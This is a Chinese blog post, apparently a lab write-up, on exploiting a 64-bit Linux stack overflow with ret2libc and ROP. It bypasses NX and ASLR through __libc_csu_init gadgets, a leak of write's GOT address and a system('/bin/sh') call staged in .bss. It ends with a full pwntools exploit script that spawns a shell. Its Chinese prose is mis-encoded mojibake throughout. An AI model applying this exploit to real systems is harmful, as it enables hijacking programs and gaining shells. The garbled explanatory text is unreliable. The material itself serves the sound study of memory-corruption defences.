溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

64位linux系統(tǒng):棧溢出+ret2libc ROP attack

發(fā)布時(shí)間:2020-06-04 07:02:49 來(lái)源:網(wǎng)絡(luò) 閱讀:3056 作者:喵咪咪222 欄目:安全技術(shù)

一.實(shí)驗(yàn)要求
棧溢出+ ret2libc ROP
? 操作系統(tǒng):Ubuntu 16.04 64bit
? 安全機(jī)制:不可執(zhí)行位保護(hù),ASLR(內(nèi)存地址隨機(jī)化)
打開(kāi)安全機(jī)制,確?!痢痢聊芾@過(guò)以上安全機(jī)制,利用漏洞完成attack,實(shí)現(xiàn)基本目標(biāo):調(diào)用system(“/bin/sh”),打開(kāi)shell。
二.實(shí)驗(yàn)概述
ret2libc(return-into-libc)是一種利用緩沖區(qū)溢出的代碼復(fù)用技術(shù),主要通過(guò)覆蓋棧幀的返回地址(EIP),使其返回到系統(tǒng)中的庫(kù)函數(shù),利用庫(kù)函數(shù)中已有的功能來(lái)實(shí)施attack,而不是直接定位到注入的shellcode。
Linux系統(tǒng)關(guān)于緩沖區(qū)溢出主要有棧不可執(zhí)行和ASLR的保護(hù)機(jī)制。ASLR 可以實(shí)現(xiàn)對(duì)進(jìn)程的堆、棧、代碼和共享庫(kù)等的地址在程序每次運(yùn)行的時(shí)候的隨機(jī)化,大大增加了定位的難度。此外,在Linux64位系統(tǒng)中,函數(shù)間傳遞參數(shù)不再以壓棧的方式,而是以寄存器方式傳遞參數(shù)。所以,要想在64位Ubuntu系統(tǒng)中實(shí)施attack操作,除了要繞過(guò)上述兩個(gè)安全機(jī)制外,還需要控制用于傳遞參數(shù)的寄存器。本次attack主要有三個(gè)關(guān)鍵點(diǎn):
1) 棧不可執(zhí)行→代碼復(fù)用(ret2libc調(diào)用系統(tǒng)函數(shù))
2) ASLR→通過(guò)plt和got表獲取系統(tǒng)函數(shù)的地址
3) 64位系統(tǒng)以寄存器方式傳遞參數(shù)→通過(guò)ROP控制寄存器
三.實(shí)驗(yàn)環(huán)境
Ubuntu desktop 16.04 LTS amd64
Gcc Gdb Python PwnTool
四.實(shí)驗(yàn)內(nèi)容
4.1 漏洞程序
漏洞程序vul.c代碼如下,main函數(shù)把“Hello ,World”讀取到標(biāo)準(zhǔn)輸出中,調(diào)用vulnerable_function()函數(shù)。在vulnerable_function()函數(shù)中,申請(qǐng)了128字節(jié)的buf,調(diào)用read()讀取標(biāo)準(zhǔn)輸入到buf中,未做邊界檢查,這就是漏洞所在。
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
將地址空間隨機(jī)化打開(kāi)sudo sysctl –w kernel.randomize_va_space=2
gcc編譯漏洞程序,顯式指明-z noexecstack,正常運(yùn)行效果如下圖所示:
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
4.2 attack漏洞程序
4.2.1 獲取溢出點(diǎn)位置
為了正確定位溢出點(diǎn)位置,構(gòu)造如下txt文件。
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
在gdb調(diào)試中運(yùn)行發(fā)現(xiàn)溢出,由于程序使用的內(nèi)存地址不能大于0x00007fffffffffff,否則會(huì)拋出異常,所以程序停在了vulnerable_function()函數(shù)中。雖然PC不能跳轉(zhuǎn),但ret相當(dāng)于“pop RIP”指令,所以只需看一下棧頂?shù)臄?shù)值就能知道PC跳轉(zhuǎn)的地址??梢钥吹綏m?shù)臄?shù)據(jù)為0x3765413665413565,即e5Ae6Ae7,在文件中是第137個(gè)字節(jié),所以溢出點(diǎn)為136。
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
4.2.2 尋找gadgets
64位Ubuntu系統(tǒng)中前六個(gè)參數(shù)依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果有更多的參數(shù)再保存在棧上。漏洞程序中只有read()和write()兩個(gè)函數(shù),沒(méi)有其他輔助組件。為了控制傳遞參數(shù)的寄存器,可以在程序初始化函數(shù)中提取通用的gadgets。
輸入objdump –d ./vul觀察_libc_csu_init()函數(shù)。
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
有兩處可以利用的配件:

配件1

4005f0: 4c 89 ea                mov    %R13,%RDX
  4005f3:   4c 89 f6                mov    %R14,%RSI
  4005f6:   44 89 ff                mov    %R15d,%EDI
  4005f9:   41 ff 14 dc             callq  *(%R12,%RBX,8)
  4005fd:   48 83 c3 01             add    $0x1,%RBX
  400601:   48 39 eb                cmp    %RBP,%RBX
  400604:   75 ea                   jne    4005f0 <__libc_csu_init+0x40>

利用配件1,如將RBX設(shè)置為0,R12可以控制,通過(guò)callq*(%R12,%RBX,8)就可以跳轉(zhuǎn)到任意地址執(zhí)行代碼。之后將RBX寄存器內(nèi)容加1后,判斷如果RBP等于RBX,就會(huì)繼續(xù)執(zhí)行第一次的代碼。為了讓RBP和RBX的值相等,可以將RBP的值設(shè)置為1。

配件2

400606: 48 83 c4 08             add    $0x8,%rsp
  40060a:   5b                   pop    %RBX
  40060b:   5d                   pop    %RBP
  40060c:   41 5c                   pop    %R12
  40060e:   41 5d                   pop    %R13
  400610:   41 5e                   pop    %R14
  400612:   41 5f                   pop    %R15
  400614:   c3                      retq

利用配件2可以將棧上數(shù)據(jù)放到指定寄存器中。
通過(guò)利用這兩處配件,布置棧中數(shù)據(jù),便可以利用配件2控制RBX,RBP,R12,R13,R14,R15寄存器的值,再利用配件1,控制RDX,RSI,EDI寄存器,調(diào)用寄存器R12中所存地址的函數(shù)。
4.2.3 通過(guò)偏移獲取system函數(shù)的地址
由于ASLR機(jī)制是將棧和共享庫(kù)文件等的起始地址隨機(jī)化,而內(nèi)部數(shù)據(jù)之間的偏移不變,所以可以通過(guò)先泄漏出libc.so某些函數(shù)在內(nèi)存中的地址,然后再利用泄漏出的函數(shù)地址根據(jù)偏移量計(jì)算出system()函數(shù)的地址。
在漏洞程序vul.c中調(diào)用了write()和read()函數(shù),可以通過(guò)write()輸出write的got地址,再計(jì)算出libc.so在內(nèi)存中的地址。為了返回到原程序中,重復(fù)利用漏洞,需要繼續(xù)覆蓋棧上的數(shù)據(jù),直到把返回值覆蓋成目標(biāo)函數(shù)的main函數(shù)為止。
構(gòu)造payload1需要知道三個(gè)數(shù)據(jù):write的got地址,write和system的偏移,main函數(shù)的地址。前兩個(gè)數(shù)據(jù)可利用pwntool中的函數(shù)獲得,而main函數(shù)的地址在命令行中輸入objdump -d vul | grep main獲得。
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
執(zhí)行完后棧結(jié)構(gòu)如下圖所示,調(diào)用callq[R12+RBX*8],RBX為0,所以調(diào)用R12中的write函數(shù),write的三個(gè)參數(shù)分別通過(guò)EDI,RSI,RDX寄存器傳遞,即執(zhí)行wrtie(1,got_write,8),將write的函數(shù)地址在標(biāo)準(zhǔn)輸出即屏幕上打印出來(lái),通過(guò)之前計(jì)算的偏移就可以計(jì)算出system函數(shù)的地址。然后RBX加1,與RBP=1比較,正好相等,繼續(xù)往下執(zhí)行,由于下邊全是0,最后跳轉(zhuǎn)到函數(shù)main處繼續(xù)執(zhí)行。
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
4.2.4 利用read()將system()地址和字符串“/bin/sh”讀入.BSS段中
由于64位系統(tǒng)的參數(shù)不是保存在棧上,而是通過(guò)寄存器傳遞,再加上開(kāi)啟了ASLR,需要找一個(gè)地址固定的地方保存參數(shù)。BSS段用來(lái)保存全局變量值,地址固定,并且可以讀可寫(xiě)。為了方便調(diào)用system函數(shù)和傳遞參數(shù)” /bin/sh”,可以利用read()函數(shù)將其寫(xiě)入到地址固定的BSS段中。
構(gòu)造payload2需要知道兩個(gè)數(shù)據(jù):read的got地址,BSS段的首地址。其中read的got地址直接利用pwntool中的方法即可獲得,而B(niǎo)SS段首地址可在命令行中輸入readelf -S vul | grep BSS獲得。
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
執(zhí)行完后棧結(jié)構(gòu)如下圖所示,與payload1類(lèi)似,調(diào)用R12中的read函數(shù),所需的三個(gè)參數(shù)分別通過(guò)EDI,RSI,RDX傳遞,即執(zhí)行read(0,BSS_addr,16),從標(biāo)準(zhǔn)輸入中讀取16個(gè)字節(jié)寫(xiě)入BSS段的首地址中,這16個(gè)字節(jié)包括上一步計(jì)算出的system地址和字符串”/bin/sh”。
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
4.2.5 執(zhí)行system(“/bin/sh”)
經(jīng)過(guò)以上兩步,已經(jīng)把system的地址和調(diào)用時(shí)所需的參數(shù)“/bin/sh”字符串存入了BSS段中,BSS段地址固定,構(gòu)造payload3調(diào)用system。
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
執(zhí)行完后棧結(jié)構(gòu)如下圖所示,類(lèi)似的,R12中存儲(chǔ)的是BSS段首地址,BSS段的首地址存儲(chǔ)的是system函數(shù)的地址。R15中存儲(chǔ)的是BSS首地址+8,BSS+8存儲(chǔ)的是字符串”/bin/sh”,將R15的值賦給EDI,EDI用來(lái)傳遞第一個(gè)參數(shù),即調(diào)用了system(“/bin/sh”)。
64位linux系統(tǒng):棧溢出+ret2libc ROP attack
最終獲得了shell,運(yùn)行結(jié)果如下圖所示:
64位linux系統(tǒng):棧溢出+ret2libc ROP attack

附:

attack代碼exp.py
`#!/usr/bin/env python
from pwn import *

elf = ELF('vul')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vul')
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)

main = 0x40057a

#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x41"*136

#pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write)+p64(1)
#mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx8]
payload1 += p64(0x4005f0)
payload1 += "\x00"
56
payload1 += p64(main)

p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)

system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)

bss_addr=0x601040

p.recvuntil("Hello, World\n")

#####################payload2###########

#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)

payload2 = "\x00"*136

payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0)

payload2 += p64(0x4005f0)

payload2 += "\x00"*56
payload2 += p64(main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")

#####################payload3###########

#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")

payload3 = "\x00"*136

payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8)

payload3 += p64(0x4005f0)

payload3 += "\x00"*56
payload3 += p64(main)

print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)

p.interactive()
`

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI